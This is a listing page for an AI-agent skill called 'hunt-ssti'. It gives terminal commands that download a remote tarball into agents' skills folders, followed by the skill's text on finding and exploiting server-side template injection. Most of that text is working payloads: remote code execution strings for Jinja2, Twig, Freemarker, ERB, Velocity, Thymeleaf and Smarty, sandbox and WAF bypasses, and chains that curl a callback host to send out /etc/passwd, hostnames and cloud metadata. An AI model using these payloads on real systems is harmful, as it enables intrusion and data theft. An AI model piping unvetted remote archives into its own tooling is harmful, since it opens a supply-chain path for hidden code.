hunt-ssti – Coding skill for AI agents
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-s
Install the hunt-ssti skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-878a4.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-ssti – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-878a4.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-ssti – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-878a4.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-ssti – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssti-878a4.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-ssti – then describe the task you want done.
SKILL.md content
When to Use
Use when the target has any endpoint that renders user-controlled input through a server-side template engine. SSTI is one of the fastest paths to RCE — detection is a single {{7*7}} and escalation typically requires one more payload. SSTI detection is reliable because template expressions evaluate BEFORE HTML encoding, so the result 49 appears in the rendered output even if the surrounding page is properly escaped.
Triggering contexts: email templates (order confirmations, password resets, welcome emails), PDF/report generators, CMS preview features (page builder previews, theme editors), error pages that reflect user input, profile bio/name/description fields rendered by server-side templates, URL path parameters reflected in templates, and inline translation strings with interpolation.
Quick Reference
# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)
# Fingerprint engine
{{7*'7'}} # 7777777 = Jinja2 (Python), 49 = Twig (PHP)
${7*7} # 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %> # 49 = ERB (Ruby)
*{7*7} # 49 = Spring Thymeleaf
# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }} # Jinja2Step-by-Step Hunting Methodology
Phase 1 — Detection & Fingerprinting
1. Identify reflection points — Every field where user input appears in rendered output: name fields, bio, email templates, error messages, URL parameters, search queries.
2. Send polyglot probe — Submit {{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7} in each candidate field. Look for 49 in the response body — this is a reliable signal because template expressions evaluate BEFORE HTML escaping.
3. Engine fingerprinting — Once SSTI is confirmed, determine the engine:
{{7*'7'}}→7777777= Jinja2 (Python string repetition);49= Twig (PHP numeric coercion)${7*7}→49= Freemarker/Spring/Velocity/Mako<%= 7*7 %>→49= ERB (Ruby on Rails)*{7*7}→49= Thymeleaf (Spring/Java)${7*7}in header/cookie context → Spring Boot with sensitive properties via${user.name}
4. Error-reveal technique — Submit an intentionally malformed expression ({{badger without closing braces) — the error message often reveals the engine name, framework version, and file paths.
5. Context analysis — Determine if the injection is in HTML context, attribute context, JavaScript context, or blind (only the output is used, not reflected).
Phase 2 — Escalation to RCE
Once the engine is fingerprinted, escalate using engine-specific RCE payloads:
Jinja2 (Python/Flask/Django):
# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Class walker (if config is restricted)
{{''.__class__.__mro__[1].__subclasses__()}}
# Blind RCE with OOB
{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}}
# File read
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
# OOB callback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/twig-rce")}}Freemarker (Java):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# OOB
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"curl http://COLLAB/fm-rce")}ERB (Ruby on Rails):
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>Velocity (Java):
#set($str=$class.inspect("java.lang.String").split(""))
#set($rt=$class.inspect("java.lang.Runtime").getRuntime())
$rt.exec("id")Spring Boot / Thymeleaf:
${T(java.lang.Runtime).getRuntime().exec("id")}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("id")}Smarty (PHP):
{php}echo shell_exec("id");{/php}
{system('id')}Phase 3 — Blind SSTI Detection
When SSTI output isn't reflected but the template still evaluates (email templates, PDF generation), use OOB detection:
# Jinja2 — exfil via DNS
{{lipsum.__globals__.os.popen('nslookup $(whoami).COLLAB').read()}}
# Twig — exfil via HTTP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/blind-ssti")}}
# Freemarker — exfil via URL
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(
"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
"curl http://COLLAB/blind-fm")}
# ERB — exfil via open3
<%= Open3.popen3('curl http://COLLAB/erb-blind').read %>Phase 4 — Chaining
# SSTI → RCE → internal network scan
{{lipsum.__globals__.os.popen('curl http://COLLAB/$(hostname)').read()}}
# SSTI → file exfil
{{lipsum.__globals__.os.popen('curl -F "file=@/etc/passwd" http://COLLAB/exfil').read()}}
# SSTI → cloud metadata
{{lipsum.__globals__.os.popen('curl http://[REDACTED_IP]/latest/meta-data/').read()}}Attack Surface Signals
URL/Sink Patterns:
/profile/name, /preview, /render, /email-template, /invoice, /report
?name=, ?template=, ?content=, ?body=, ?message=, ?title=
/profile/settings/bio, /admin/email-templates/edit, /cms/previewResponse/Error Signals:
Error: "Template '{{user_input}}' not found" → Twig (Symfony)
Error: "org.springframework.expression.spel" → Spring/Thymeleaf
Error: "Method __construct not found" → Smarty
Error: "Undefined variable: 7*7" → Smarty
Response contains rendered math expression → SSTI confirmedTech Stack Signals:
X-Powered-By: Express+ Node.js → Pug, EJS, HandlebarsX-Powered-By: Phusion Passenger→ Ruby ERBServer: Apache+X-Powered-By: PHP→ Twig, SmartyServer: Apache Tomcat→ Freemarker, Velocity, Thymeleaf- Django/Flask → Jinja2 (default template engine)
- Email template editors, CMS page builders, PDF generation services
Common Root Causes
1. Trusting user input in template contexts — Developers pass user-controlled strings into render_template_string() (Flask), Template() (Jinja2), $twig->render() (Symfony), or str.format() with template syntax without sandboxing.
2. Email template rendering — Order confirmations, password resets, welcome emails that interpolate user name/input into templates before sending. The SSTI is blind (emailed to user, not reflected in browser), making it harder to detect but equally exploitable.
3. CMS preview/page builder features — Drag-and-drop page builders that store template fragments and render them server-side. The preview endpoint is often the SSTI sink.
4. Inline translation systems — Rails t() helper with interpolation: t('welcome', name: user_input) marks translation strings as HTML-safe by default, enabling SSTI through locale keys.
5. Error pages reflecting input — 404 handlers that echo the path into a template, 500 error pages showing the error message in a template.
6. Developer debug endpoints — /render, /template-test, /email-preview left enabled in production.
Bypass Techniques
Defense: Blacklisted characters ({, }, $)
Bypass: Try alternative syntaxes — Twig {% ... %}, Jinja2 {% ... %}, Freemarker <#if ...>, alternate delimiter syntax depending on engine configuration.
Defense: Sandboxed template engine
Bypass: Sandbox restrictions are often engine-specific and incomplete. For Jinja2 SandboxedEnvironment, try {{lipsum.__globals__}} — the lipsum function is accessible in the default globals. For Twig sandbox, try {{_self.env.registerUndefinedFilterCallback("exec")}}.
Defense: Output filtering / HTML encoding
Bypass: SSTI evaluation happens BEFORE HTML encoding — the expression result 49 appears even if the page escapes HTML. Use OOB/DNS callbacks for blind execution confirmation.
Defense: WAF blocking SSTI patterns
Bypass: Use alternative RCE payloads — Jinja2 {% print(...) %} instead of {{ ... }}, Freemarker <#assign> instead of ${ ... }, or split payloads across parameters.
Defense: Length limits on input
Bypass: Use short payload primitives — Jinja2 {{lipsum.__globals__.os.popen('id').read()}} is ~50 chars. For longer chains, use POST bodies instead of GET parameters.
Real Examples
Scenario A — Email Template SSTI → RCE (E-commerce Platform)
A major e-commerce platform's order confirmation email included the customer's name in a server-rendered Jinja2 template. The attacker registered with a username containing `{{config.__class__.__init__.__globals__['os'].popen('curl http://COLLAB/$(hostn
… (full content is in the download package)
Related skills
- bdistill-behavioral-xray – X-ray any AI model's behavioral patterns — refusal boundaries, hallucination tendencies…
- bdistill-knowledge-extraction – Extract structured domain knowledge from AI models in-session or from local open-source…
- before-you-build – Review product risk before coding by checking demand, alternatives, channels, switching…
- behavioral-modes – AI operational modes (brainstorm, implement, debug, review, teach, ship, orchestrate)…
- experiment-designer – Use when planning product experiments, writing testable hypotheses, estimating sample…
- memento-flashcards – Spaced-repetition flashcards: create, review, quiz, export.
- bevy-ecs-expert – Master Bevy's Entity Component System (ECS) in Rust, covering Systems, Queries…
- blockchain-developer – Build production-ready Web3 applications, smart contracts, and decentralized systems…